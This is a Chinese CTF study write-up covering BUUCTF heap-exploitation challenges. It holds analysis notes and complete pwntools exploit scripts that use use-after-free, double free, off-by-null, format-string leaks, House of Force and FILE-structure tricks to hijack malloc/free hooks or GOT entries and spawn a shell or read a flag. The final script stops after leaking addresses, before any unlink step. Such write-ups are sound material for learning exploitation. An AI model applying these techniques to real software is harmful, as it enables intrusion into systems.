BUUCTF PWN-堆题总结 2021-09-27

整体分析-2021-09-27

本周的PWN都是以熟练、拓展Pwn的基础知识系统为方向
大致分类

  1. Unlink
  2. HourseOfForce
  3. File
  4. UAF
  5. Tcache
  6. 其他角度

堆题的总结经验:

  1. 任何东西都是万事开头难,要愿意耐心的一步步去动态调试理解底层的原理,一切都不是难事
  2. 注重对不同类型题目进行分类归纳模型,很多题目都具有一定共性
    1. 归纳寻找漏洞的特征模型
    2. 归纳解决该类题型的方法模板、流程
  3. 有意识的去选择练习不同类型的题目、拓展广度视野

新角度

稍微有一点偏(带了Crypto),不是重点,算开拓题目视野、角度

Tcache

在不同的系统版本(libc),漏洞利用的方式往往会不同,注重自己上机调试去一步步理解原理

UAF

非常经典的题目类型,多种角度达到任意地址写
多练练,多动手调试调试!

File结构体

新学习的漏洞利用方式,多积累,慢慢来

HourseOfForce

以一定条件为前提的利用类型:

  1. 我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
  2. 程序本身就可以分配任意大小的堆块,并没有任何限制。

Unlink

经典的堆入门题目的解决方案
=>以制造fakechunk达到任意读写堆数组地址
多动手调试,慢慢就能理解,都是模板化的东西

经验

在静态分析中

  1. 可以多动手调试的同时,在代码上写笔记或是对变量重命名
  2. 善用Patch功能,可以先以本地getshell为方向,升维攻击
  3. 注重环境(与elf的libc环境匹配),可使用glibc-allinone
  4. 注重内存之间的关系、溢出
    1. 填充满后(溢出)与填充前的不同?

堆溢出=>关键检查输入函数的逻辑

  1. 变量类型(无符号溢出?)
  2. 函数特征(strcpy、读入溢出\x00
  3. 读入函数逻辑存在溢出漏洞(+1)

堆题EXP编写的问题

  1. 如果遇到思路正确,但实在无法getshell(崩溃)或是其他原因,请检查一下内存的问题
    1. 对堆创建、修改时是否多了一个\n
  2. 先把堆题功能菜单写好,把简单做好,一步步来,做起来你就能知道下一步怎么走了。

新角度

ciscn_2019_final_5

分析

堆题

  1. 创建
  2. 修改
  3. 删除

与其他题目不同的地方:

  1. 会对内容进行 &(AND) |(OR)
  2. 会泄露一个low 12 bits(buf地址的后3个字节)
  3. 题目是ubuntu18

跳过,需要先安装ubuntn18的libc2.26动态调试漏洞版本

主题思路是利用算法特性,对堆进行攻击
漏洞分析

如上所说,本题地址存放比较特别,但是如果index为16,并且原地址第五位为0,就会导致地址被修改
而我们第一次申请时候地址最低12bits一般为0x260,即0010 0110 0000,和16即0001 0000或,就变成了0010 0111 0000即为0x270,我们就可以在chunk0的content中伪造一个chunk头部,把它释放之后再申请我们就能利用它控制下一个chunk了

漏洞利用

添加一个note[0],编号为16,size为0x10,内容为p64(0)+p64(0x91),再添加一个note[1],编号为1,size为0xc0(这个大小正好可以包括住content和size数组)
释放note[0]和note[1],重新申请一个0x80大小的note[2],把note[1]头部size改为0x21,fd改为content数组0x6020e0
申请一个0xc0大小的note[3],再申请同样大小的note[4],填入free_got, puts_got+1和atoi_got-4,大小全部设为0x10
先把free_got改为puts@plt(edit 8——free@got&0xf=8,atoi@got&0xf=8,所以需要减4),然后delete(1)泄露puts地址
edit 4把system地址写入,然后发送/bin/sh\x00即可

参考PWNKI的WP:https://www.cnblogs.com/luoleqi/p/13467067.html

保护情况:无PIE,可写GOT

[*] '/root/ciscn_final_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

EXP

from pwn import *

#r = remote("node4.buuoj.cn", 26967)
r = process("/root/ciscn_final_5",env={"LD_PRELOAD":"/root/libc.so.6"})#/lib64/27_1-linux.so.2"})

#/usr/local/glibc-2.26/lib/ld-2.26.so
context.log_level = 'debug'

elf = ELF("/root/ciscn_final_5")
libc = ELF('/root/libc.so.6')#ELF("/lib64/27_1-linux.so.2")#
content = 0x6020e0
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']

def add(index, size, content):
    r.sendlineafter("your choice: ",'1')
    r.sendlineafter("index: ",str(index))
    r.sendlineafter("size: ",str(size))
    r.recvuntil("content: ")
    r.send(content)


def delete(index):
    r.sendlineafter("your choice: ",'2')
    r.sendlineafter("index: ",str(index))

def edit(index, content):
    r.sendlineafter("your choice: ",'3')
    r.sendlineafter("index: ",str(index))
    r.recvuntil("content: ")
    r.send(content)

add(16,0x10,p64(0)+p64(0x90))
add(1, 0xc0, 'aa\n')
delete(0)
delete(1)
add(2, 0x80, p64(0)+p64(0x21)+p64(content))
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)
edit(8,p64(puts_plt)*2)
delete(1)
puts = u64(r.recv(6).ljust(8, '\x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')
r.interactive()

TCACHE

hitcon_2018_children_tcache

分析

整体特征:

  1. 创建
  2. 删除
    1. 正常清零,但会把堆内容重置为\xDA
  3. 输出

保护情况:全开
结合题目是ubuntu18.tcache

猜想:

  1. 申请大堆泄露unsorted bin地址
  2. Double Free攻击修改hook

[*] ‘/root/HITCON_2018_children_tcache’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

看了WP
此题有一个经典的[[OFFByNull]]漏洞

strcpy 字符串复制函数。复制时,遇到结束符 \x00 才会停止复制。复制结束后,会在最后写入一个结束符 \x00
Pasted image 20210923152332.png

整体利用思路:

  1. 布置 4 个堆,先释放 chunk0 做好向前 unlink 准备。
  2. 通过写 chunk1 实现:溢出修改 chunk2 inuse ,还原 chunk2 prev_size ,伪造 chunk2 prev_size
  3. tcache bin double free 劫持 __free_hook 为 onegadget

主要是新知识的引入[[Tcache]]

  1. 一个程序允许7个tcache上限,后进入fast bin(unsorted bin)
  2. 同时libc2.27需要创建>1024大小的堆块才能进入unsorted bin
  3. tcache中的chunk永远不会被合并
  4. tcache也有单链回环结构的漏洞创建(double free)
  5. 0x250大小的堆一般是tcache的堆管理块

参考大佬的WP:https://blog.csdn.net/weixin_43921239/article/details/109252945

EXP

#coding:utf-8
from pwn import *
context(log_level='debug',arch='amd64')

#p = process("/root/HITCON_2018_children_tcache")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("/root/HITCON_2018_children_tcache")
p = remote("node4.buuoj.cn",27543)
libc = ELF("./x64/libc-2.27_buuctf.so")

def add(size, content):
	p.recvuntil("Your choice: ")
	p.sendline('1')
	p.recvuntil("Size:")
	p.sendline(str(size))
	p.recvuntil("Data:")
	p.send(content)

def free(index):
	p.recvuntil("Your choice: ")
	p.sendline('3')
	p.recvuntil("Index:")
	p.sendline(str(index))

def show(index):
	p.recvuntil("Your choice: ")
	p.sendline('2')
	p.recvuntil("Index:")
	p.sendline(str(index))

def pdd():
    log.success("pid=>"+str(p.pid))
    pause()

add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')

free(0)#enter unsorted bin

free(1)#enter tcache bins



for i in range(0,6):
	add(0xe8-i,'k'*(0xe8-i))
	free(0)



add(0xe8,'k'*0xe0+p64(0x510))#off by null write size(01 05=> 00 05(0x500))
#overflows write size in chunk2(inuse) for unlink checks


free(2)

add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']

add(0x60,'getshell')
free(0)
free(2)

"""===>tcache connections:
tcachebins
0x70 [  2]: 0x56018fd9e680 ◂— 0x56018fd9e680
"""

add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))

##  gdb.attach(p,"b *$rebase(0x202060)")

free(0)

p.interactive()

UAF

wustctf2020_easyfast

分析

漏洞点:
Pasted image 20210927113951.png

一道很明显的[[UAF]]题目

猜想的思路:

  1. UAF free后制造双链回环结构
  2. 新建堆到后门要求的条件地址、同时满足长度要求

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/wustctf2020_easyfast"
if  isLocal:
    p=process(filename)#


else :
    p=remote("node4.buuoj.cn",26992)

elf=ELF(filename)
libc=ELF("./x64/libc-2.27_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(size):
    ru("choice>")
    sl('1')
    ru("size>")
    sl(str(size))


def free(index):
    ru("choice>")
    sl('2')
    ru("index>")
    sl(str(index))

def edit(index,content):
    ru("choice>")
    sl('3')
    ru("index>")
    sl(str(index))
    sd(content)

def getshell():
    ru("choice>")
    sl('4')

malloc(0x40)#0
malloc(0x40)#1

free(0)
free(1)
free(0)
#此时链表:0->1->0

goal=0x000000000602090-0x10#size
edit(0,p64(goal))

malloc(0x40)#2
malloc(0x40)#3


edit(3,p64(0))
getshell()

p.interactive()


ACTF_2019_babyheap

分析

漏洞点:
Pasted image 20210927114101.png

分析:

  1. 经典的UAF堆题
  2. 带后门,同时堆内写入了可控制输出函数地址
  3. Ubuntu 18 还可以DOUBLE FREE

慢一点,不要急,先动态调试看看结构

动态调试:

	+0000 0x96d000  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
	+0010 0x96d010  30 d0 96 00  00 00 00 00  8a 09 40 00  00 00 00 00  │0...│....│..@.│....│
	+0020 0x96d020  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
	+0030 0x96d030  73 68 00 0a  00 00 00 00  00 00 00 00  00 00 00 00  │sh..│....│....│....│
	+0040 0x96d040  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
	+0050 0x96d050  70 d0 96 00  00 00 00 00  8a 09 40 00  00 00 00 00  │p...│....│..@.│....│
	+0060 0x96d060  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
	+0070 0x96d070  73 68 00 0a  00 00 00 00  00 00 00 00  00 00 00 00  │sh..│....│....│....│
	+0080 0x96d080  00 00 00 00  00 00 00 00  81 0f 02 00  00 00 00 00  │....│....│....│....│
	+0090 0x96d090  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
	...
	+08f0 0x96d8f0  00 00 00 00  00 00 00 00  00 00 00 00               │....│....│....│    │

很明显发现输出程序在0010+8,0050+8的地方

也应验了代码:

*((_QWORD *)*(&ptr + i) + 1) = sub_40098A;//+8是程序
v0 = (void **)*(&ptr + i);//开始是字符串地址
        *v0 = malloc(v3);

所以我们利用[[UAF]] free,任意写字符串地址、函数地址即可

Pasted image 20210923113317.png
Pasted image 20210923113738.png
最后释放的,往往放在fast bin单链表的最前面。
最先释放的,在fast bin链表的后面(先进后出

笔记:
sl = lambda s : p.sendline(s)重定义功能lambda
在堆题如果你遇到不知道的问题为什么会崩溃,不妨检查一下创建、修改代码的\n

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/ACTF_2019_babyheap"
if  isLocal:
    p=process(filename)#


else :
    p=remote("node4.buuoj.cn",27464)

elf=ELF(filename)
libc=ELF("./x64/libc-2.27_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(size,content):
    ru("Your choice:")
    sl('1')
    ru(":")
    sl(str(size))
    ru(":")
    sd(content)

def free(index):
    ru("Your choice:")
    sl('2')
    ru(":")
    sl(str(index))

def dump(index):
    ru("Your choice:")
    sl('3')
    ru(":")
    sl(str(index))


malloc(0x30,b"dsfdsgdfgfg\n")#0 1
malloc(0x30,b"sdfzxfcvdsfg\n")#2 3

free(0)
free(1)


binsh_addr=0x0000000000602010
backdoor=elf.plt["system"]


malloc(0x10,p64(binsh_addr)+p64(backdoor))#修改chunk0的主堆 越早释放,在链表越后面(第二个)



dump(0)

p.interactive()


gyctf_2020_some_thing_interesting

分析

漏洞点:

  1. UAF
    Pasted image 20210927114241.png
  2. 格式化字符换漏洞
    Pasted image 20210927114318.png

保护情况:全开

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

基本特征:

  1. 有一个格式化字符串漏洞
  2. Free后未清零可导致UAF

基本功能

  1. 输出printf
  2. 创建堆
    1. 一次创建2个堆
  3. 修改堆
    1. 长度为创建时定义
  4. 释放堆
    1. 不清零
  5. 输出堆
    1. 打印堆内容

考虑:
0. printf泄露libc指针

  1. UAF后修改hook指针实现getshell

泄露libc:
OreOOrereOOreO%17$p

有毒好吧,有时候realloc_hook不一定完全有用
malloc_hook首选,还有gadget 多尝试几个

整体利用思路:

  1. 字符串格式化漏洞泄露libc地址
  2. UAF制造回环,任意写Hook地址

EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/gyctf_2020_some_thing_interesting"
libc=ELF("./x64/libc-2.23_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p =remote("node4.buuoj.cn",26316)#
elf=ELF(name)

def create(sizeo, contento,resize,recontent):
    p.recvuntil('you want to do :')
    p.sendline('1')
    p.recvuntil('>')
    p.sendline(str(sizeo))
    p.recvuntil('>')
    p.send(contento)
    p.recvuntil('>')
    p.sendline(str(resize))
    p.recvuntil('>')
    p.send(recontent)

def edit(idx,contentO,contentRE):
    p.recvuntil('you want to do :')
    p.sendline('1')
    p.recvuntil('>')
    p.sendline(str(idx))
    p.recvuntil('>')
    p.sendline(contentO)
    p.recvuntil('>')
    p.sendline(contentRE)

def delete(idx):
    p.recvuntil('you want to do :')
    p.sendline('3')
    p.recvuntil('>')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('you want to do :')
    p.sendline('4')
    p.recvuntil('>')
    p.sendline(str(idx))


p.sendlineafter("Input your code please:",b"OreOOrereOOreO%17$p")
p.sendlineafter("to do","0")
p.recvuntil("0x")

leak=int(p.recv(12),16)-240




libc_base=leak-libc.sym["__libc_start_main"]#base 以 \x000结尾
#libc.address=libc_base

log.success("libc => {}".format(hex(libc_base)))






create(0x68,b"dddd",0x50,b"bbbb")#1
create(0x68,b"cccc",0x50,b"gggg")#2




delete(1)
delete(2)
delete(1)
##  回环 fast bin 


malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x23#0x7f
realloc_hook=libc_base+libc.sym["__realloc_hook"]
one_gadget=libc_base+0xf1147


payload=b'a'*0x13+p64(one_gadget)##b"a"*11+p64(one_gadget)+p64(realloc_hook)
create(0x68,p64(malloc_hook),0x68,p64(0))
create(0x68,p64(0),0x68,payload)

log.success("hook => {}".format(hex(malloc_hook)))

#flag{60e29c31-f039-422e-9d68-a40a46e4a23e}

p.interactive()


bjdctf_2020_YDSneedGrirlfrien

分析

堆题
同时存在很明显的UAF漏洞,结合程序输出函数存在堆内,可UAF对其修改
Pasted image 20210927114419.png

到后门函数~
Pasted image 20210927114437.png

动态调试发现,函数存在0x20的堆内,我们申请0x10
Pasted image 20210922161659.png

+0000 0x1923000  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
+0010 0x1923010  63 08 40 00  00 00 00 00  30 30 92 01  00 00 00 00  │c.@.│....│00..│....│
+0020 0x1923020  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
+0030 0x1923030  4c 69 6c 79  00 00 00 00  00 00 00 00  00 00 00 00  │Lily│....│....│....│
+0040 0x1923040  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
+0050 0x1923050  63 08 40 00  00 00 00 00  70 30 92 01  00 00 00 00  │c.@.│....│p0..│....│
+0060 0x1923060  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │....│....│!...│....│
+0070 0x1923070  50 65 61 63  68 65 73 00  00 00 00 00  00 00 00 00  │Peac│hes.│....│....│
+0080 0x1923080  00 00 00 00  00 00 00 00  81 0f 02 00  00 00 00 00  │....│....│....│....│
+0090 0x1923090  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│

目标覆盖0x10\0x50即可

利用思路:

  1. 程序的创建逻辑
    1. 0x20的堆块存放输出函数地址、大小
    2. n大小自定义
      由于有UAF漏洞,在UAF后,我们只要创建回输出函数地址的堆块地址即可

利用流程:

  1. 创建2个0x10大小并以回环形式释放(相当于回收了4个0x20的bins)
    1. 需要进行Double Free List的方法释放
    2. 0xeba020 —▸ 0xeba040 —▸ 0xeba060 —▸ 0xeba000 —▸ 0x400863
  2. 创建1个大于0x20的bins(取了1个回收的0x20 bins)
  3. 创建一个0x10大小的Bins(取了2个回收的0x20 bins)
    1. 此时堆块内容覆写到第三个0x20的bins,其实就是释放的第二个堆块的函数地址存放堆

让双变单(创建其他大小堆)

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/bjdctf_2020_YDSneedGrirlfriend"
if  isLocal:
    p=process(filename)#

    pause()
else :
    p=remote("node4.buuoj.cn",27817)

elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(size, content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Her name size is :')
    p.sendline(str(size))
    p.recvuntil("Her name is :")
    p.send(content)

def free(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil(':')
    p.sendline(str(idx))



def dump(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil(':')
    p.sendline(str(idx))

create(0x10,b"bigger")#2个0x20


create(0x10,b"sdsdsdsd")#2个0x20
free(0)
free(1)
free(0)

backdoor=0x0000000000400B9C
create(0x20,p64(backdoor))#一个0x20 和 0x30
create(0x10,p64(backdoor))#刚好取到写入输入函数的堆块bin (0x50)
pause()
dump(1)

p.interactive()



ciscn_2019_en_3

分析

堆题

整体特征:

  1. 创建
  2. 删除
    1. 未清零,可重用

保护情况:全开,GOT不可写

[*] '/root/ciscn_2019_en_3'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

分析
可泄露libc,同时存在UAF,分析是Ubuntu18环境,考虑可以doublefree 制造泄露unsorted bin 回链改hook

在ubuntu18自定义libc2.27,可使用IDA远程调试。
其double free实际原理就是
制造了一个回环结构,下次再创建2个堆时,会变成指针结构(chunk0->chunk1)

看了看WP提示,主要的利用思路

  1. 利用变量的特性,当s读入满8字节后,会泄露libc(+set_buffer)函数的基地址可用来计算libc地址Pasted image 20210927114716.png
  2. 利用libc2.27tcache特性,double free 制造回环结构=>修改__free_hook函数指针Pasted image 20210927114730.png

提取到的知识点:

  1. 堆题在找漏洞时,不仅要注意堆溢出,还要注意栈溢出(看变量在栈上空间)
    1. 例如本题char s[16];read(0, s, 8uLL);可测试是否填充满后泄露数据
  2. free不清零就会有UAF漏洞,在libc2.27低版本,double free可以快速建立一个指针回环结构,相当于可任意地址写
  3. 在不支持的libc版本,可在支持的系统下,用IDA调试。(或用glibc-one-in-all的方法)
  4. 一旦泄露了\x7f之类的数据,可与libc基地址比较,计算一下是什么东西~

EXP

from pwn import *
context.log_level = 'debug'
#p=process('/root/ciscn_2019_en_3',env={"LD_PRELOAD":"./x64/libc-2.27_buuctf.so"})
p=remote('node4.buuoj.cn',27039)

elf=ELF('/root/ciscn_2019_en_3')
libc=ELF('./x64/libc-2.27_buuctf.so')

def add(size,story):
    p.sendlineafter('choice:','1')
    p.sendlineafter('story:',str(size))
    p.sendlineafter('story:',story)

def edit():
    p.sendlineafter('choice:','2')

def show():
    p.sendlineafter('choice:','3')

def delete(idx):
    p.sendlineafter('choice:','4')
    p.sendlineafter('index:',str(idx))

p.recvuntil("What's your name?")
p.sendline('pppp')
p.recvuntil('Please input your ID.')
p.sendline('pppppppp')#1.leak

setbuff=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231
libc_base=setbuff-libc.symbols['setbuffer']
system_addr=libc_base+libc.symbols['system']
free_addr=libc_base+libc.symbols['__free_hook']

print(hex(libc_base))
print(hex(setbuff))

add(0x60,'pppp')
add(0x60,'/bin/sh\x00')
pause()
delete(0)
delete(0)
#2.double free (backconnections)

add(0x60,p64(free_addr))
add(0x60,'pppp')

print(hex(free_addr))
#gdb.attach(p)
add(0x60,p64(system_addr))
#gdb.attach(p)
delete(1)

p.interactive()

FILE结构体

ciscn_2019_final_2

分析

堆题
特征:

  1. 有沙盒,getshell只能够通过打开flag文件Pasted image 20210927114929.png
  2. free时无清零(可uaf)Pasted image 20210927114951.png
  3. 在init中,系统已经通过open读入了flag到fp,并且调用 了dup2Pasted image 20210927150126.png

保护情况:全开

[*] '/root/ciscn_final_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

[[dup2]] :用来复制文件描述符:int dup2 (int oldfd,int newfd)

_fileno 是用来规定 fd 所指向的文件流的,init()将flag的fd改成了666,所以我们只要想办法把 stdin 的 _fileno 改成 666 即可,这样在之后 scanf 就会将 fd == 666 (flag)的内容输入到 & v0 中,然后我们就可以输出 flag 的内容了

dup2新知识,将flag文件数据(fd3 重定向到了fd 666)

这就意味着(一定确定):

  1. 不能够通过system,只能通过open读文件获取flag=>(读取fd=666的内容即可)
  2. 需要泄露libc

对于alarm,可以直接选择NOP

看看WP提示,思路是通过修改_IO_2_1_stdin_的地址,达到修改输入流fileno的目的,泄露fd=666的内容

利用思路:

  1. 分配足够多的 tcachebin 使其合并进入 unorted bin 。(一般为0x400)
  2. 通过 unsorted bin 的 fd 指针泄露 libc 的基址,并计算出 fileno 的地址。
  3. 运用 double free 与 house of spirit 技术将 stdin 的 fileno 改为 666 ,这样 scanf 的时候就会从 flag 文件中读取数据。
  4. 触发 leave 函数,打印 flag 。
###  EXP

```py
from pwn import *
context.log_level="debug"
context.arch="amd64"
#p=remote('node4.buuoj.cn',26223)
p=process('/root/ciscn_final_2')

elf = ELF('/root/ciscn_final_2')
libc = ELF('./x64/libc-2.27_buuctf.so')
 
def add(add_type, add_num):
    p.sendlineafter('which command?\n> ','1')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
    p.sendafter('your inode number:', str(add_num))
 
def remove(remove_type):
    p.sendlineafter('which command?\n> ', '2')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
 
def show(show_type):
    p.sendlineafter('which command?\n> ', '3')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
    if show_type == 1:
        p.recvuntil('your int type inode number :')
    elif show_type == 2:
        p.recvuntil('your short type inode number :')
    return int(p.recvuntil('\n', drop=True))
 
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)

add(1,0x30)
remove(2)#double free
#gdb.attach(p)

addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
 
for i in range(0, 7):
    remove(1)
    add(2, 0x20)
remove(1)
 
addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
 
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30) 
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
 
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
 
p.interactive()

HourseOfForce

gyctf_2020_force

分析

分析可以看到程序的基本功能

  1. AddPasted image 20210927150844.png
  2. dump

同时add后会给出堆的地址
content的大小最大最小都为80

那这道题的猜测思路:

  1. 泄露unsorted bin地址,计算malloc_hook地址
  2. 写shell到malloc hook
    主要漏洞
  3. 栈溢出

保护情况:全开

[*] '/root/gyctf_2020_force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

看了WP,主体思路:
![[HourseOfForce]]

主要利用思路

  1. 通过分配一个超大块(mmap),会返回与libc固定偏移地址,达到泄露libc的目的
  2. 堆溢出覆写top chunk size位为0xffffffff,过掉malloc大小检查(为下一步分配大size堆块 准备)
  3. 计算topchunk与__malloc_hook的地址,分配offset大小堆块落在hook指针size位处,覆写__realloc_hook__malloc_hook
  4. 利用__realloc_hook构造栈环境使one_gadget满足条件Getshell

参考WP:
https://blog.csdn.net/qq_43986365/article/details/107976352

新额外笔记:

  1. libc.search('sh').next()可搜索libc内字符串
  2. libc.address=x可设置libc的基地址,更方便算出libc函数地址
  3. vmmap可查看超大堆块地址

EXP

整体思路:

  1. 通过分配超大堆块泄露libc地址
  2. 改写hook地址
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/gyctf_2020_force"
if  isLocal:
    p=process(filename)#
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
 
else :
    p=remote("node4.buuoj.cn",27889)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)
#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(size, content):
    p.recvuntil('2:puts')
    p.sendline('1')
    p.recvuntil('size')
    p.sendline(str(size))

    p.recvuntil("bin addr ")#bin addr %p\n
    p.recvuntil("0x")

    bin_addr=int(p.recv(12),16)

    p.recvuntil("content")
    p.send(content)
    return bin_addr

def dump(idx):
    p.recvuntil('2:puts')
    p.sendline('2')


addr=create(0x200000, 'chunk0\n')#分配大堆要在vmmap命令查看,返回与libc的偏移

libc_base=addr+0x200FF0
libc.address=libc_base#写入base地址 方便计算

heap_addr = create(0x18, b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))

one_gadget_16=0x4526a
top = heap_addr + 0x10


malloc_hook = libc.sym['__malloc_hook']
#success("malloc_hook"+hex(malloc_hook))
one_gadget = one_gadget_16 + libc_base
realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
#system = libc.sym['system']
#bin_sh = libc.search('sh').next()#在libc内搜索字符串地址
#success("system:" + hex(system))
#success("bin_sh" + hex(bin_sh))

create(offset-0x33, b'aaa\n')#堆到malloc hook的偏移(很大)
    
create(0x10, b'a'*8+p64(one_gadget)+p64(realloc+0x10))

pause()
p.recvuntil('2:puts')
p.sendline('1')
p.recvuntil('size')
p.sendline('20')


p.interactive()


Unlink

axb_2019_heap

分析

保护情况:全开

[*] '/root/axb_2019_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序分析:

  1. 只能够使用hook,不可改got
  2. 需要泄露libc(开了PIE)
  3. 要泄露libc,必须制造输出
    1. 动态调试中发现,运行前有一个格式化字符串漏洞Pasted image 20210927151232.png
  4. 在输入函数中get_input存在off by one漏洞Pasted image 20210921112729.png

主体思路==>unlink去修改free_hook达到getshell

如果开了PIE,bss地址可以用base+地址计算(base是main程序基地址)
所以我们只需泄露

  1. libc基地址
  2. elf基地址

额外知识:

使用KeyPatch修改源程序(过alarm)
Pasted image 20210921094859.png
步骤:

  1. 使用Patch Programe
  2. 修改Assemble
  3. Apply

Fill Nop
Pasted image 20210921095924.png

下次可以这样,先把程序Patch,本地getshell,在写exp
下次记得尽可能把所有函数分析完,可以把变量重命名

EXP

主体思路:

  1. 字符串格式化漏洞泄露libc/main的地址以便计算各自基地址
  2. unlink(通过动态计算PIE地址、结合offbyone漏洞)
  3. 修改hook指针地址达到getshell
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/axb_2019_heap_patch.bak"
if  isLocal:
    p=process(filename)#

    pause()
else :
    p=remote("node4.buuoj.cn",28209)

elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(idx,size, content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('Enter the index you want to create (0-10):')
    p.sendline(str(idx))
    p.recvuntil('Enter a size:')
    p.sendline(str(size))
    p.recvuntil("Enter the content: ")
    p.send(content)

def edit(idx,content):
    p.recvuntil('>> ')
    p.sendline('4')
    p.recvuntil("Enter an index:")
    p.sendline(str(idx))

    p.recvuntil('Enter the content: ')
    p.sendline(content)


def delete(idx):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil("Enter an index:")
    p.sendline(str(idx))


p.recvuntil("Enter your name: ")

p.sendline("%15$p.%19$p")

p.recvuntil("0x")
libc_so_addr=int(p.recv(12),16)-240#通常是(__libc_start_main+240)

p.recvuntil("0x")
main_addr=int(p.recv(12),16)



libc_base=libc_so_addr-libc.sym["__libc_start_main"]
elf_base=main_addr-elf.sym["main"]#elfbase就是pie


free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]

